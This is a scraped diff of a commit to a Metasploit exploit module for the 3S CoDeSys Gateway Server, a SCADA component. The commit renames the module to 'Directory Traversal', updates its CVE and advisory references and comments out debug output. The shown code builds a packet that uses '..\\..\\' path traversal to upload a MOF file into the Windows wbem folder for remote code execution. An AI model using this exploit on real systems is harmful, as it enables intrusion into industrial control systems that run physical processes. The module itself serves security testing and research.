4
4
# web site for more information on licensing and terms of use.
5
5
# http://metasploit.com
6
6
##
7
+
7
8
require 'msf/core'
8
- class Metasploit3 < Msf ::Exploit ::Remote
9
9
10
+ class Metasploit3 < Msf ::Exploit ::Remote
10
11
Rank = ExcellentRanking
12
+
11
13
include Msf ::Exploit ::EXE
12
14
include Msf ::Exploit ::FileDropper
13
15
include Msf ::Exploit ::Remote ::Tcp
14
16
include Msf ::Exploit ::WbemExec
15
17
16
18
def initialize ( info = { } )
17
19
super ( update_info ( info ,
18
- 'Name' => 'SCADA 3S CoDeSys Gateway Server Remote Execution' ,
19
- 'Description' => %q{
20
- This module exploits arbitrary file creation to execute a mof file
21
- gaining remote execution within the SCADA system
22
- } ,
23
- 'Author' =>
24
- [
25
- 'Enrique Sanchez <[email protected] >'
26
- ] ,
27
- 'License' => 'MSF_LICENSE' ,
28
- 'References' =>
29
- [
30
- [ 'ICSA-13-050-01' , '02-19-2013' ]
31
- ] ,
32
- 'DisclosureDate' => 'Feb 02 2013' ,
33
- 'Platform' => 'win' ,
34
- 'Targets' =>
35
- [
36
- [ 'Windows Universal S3 CoDeSyS < 2.3.9.27' , { } ]
37
- ] ,
38
- 'DefaultTarget' => 0 ) )
20
+ 'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal' ,
21
+ 'Description' => %q{
22
+ This module exploits arbitrary file creation to execute a mof file
23
+ gaining remote execution within the SCADA system
24
+ } ,
25
+ 'Author' =>
26
+ [
27
+ 'Enrique Sanchez <esanchez[at]accuvant.com>'
28
+ ] ,
29
+ 'License' => 'MSF_LICENSE' ,
30
+ 'References' =>
31
+ [
32
+ [ 'CVE' , '2012-4705' ] ,
33
+ [ 'URL' , 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf' ]
34
+ ] ,
35
+ 'DisclosureDate' => 'Feb 02 2013' ,
36
+ 'Platform' => 'win' ,
37
+ 'Targets' =>
38
+ [
39
+ [ 'Windows Universal S3 CoDeSyS < 2.3.9.27' , { } ]
40
+ ] ,
41
+ 'DefaultTarget' => 0 ) )
39
42
40
43
register_options (
41
44
[
@@ -53,16 +56,15 @@ def check
53
56
# remote_filepath: Remote filepath where the file will be uploaded
54
57
# remote_filename: Remote name of the file to be executed ie. boot.ini
55
58
# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
56
-
57
59
def upload_file ( remote_filepath , remote_filename , local_filedata = null )
58
60
magic_code = "\xdd \xdd "
59
61
opcode = [ 6 ] . pack ( 'L' )
60
62
61
63
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
62
64
file = "..\\ ..\\ " << remote_filepath << remote_filename << "\x00 "
63
- print_debug ( "File to upload: #{ file } " )
65
+ # print_debug("File to upload: #{file}")
64
66
pkt_size = local_filedata . size ( ) + file . size ( ) + ( 0x108 - file . size ( ) ) + 4
65
- print_debug ( pkt_size )
67
+ # print_debug(pkt_size)
66
68
67
69
# Magic_code + packing + size
68
70
pkt = magic_code << "AAAAAAAAAAAA" << [ pkt_size ] . pack ( 'L' )
0 commit comments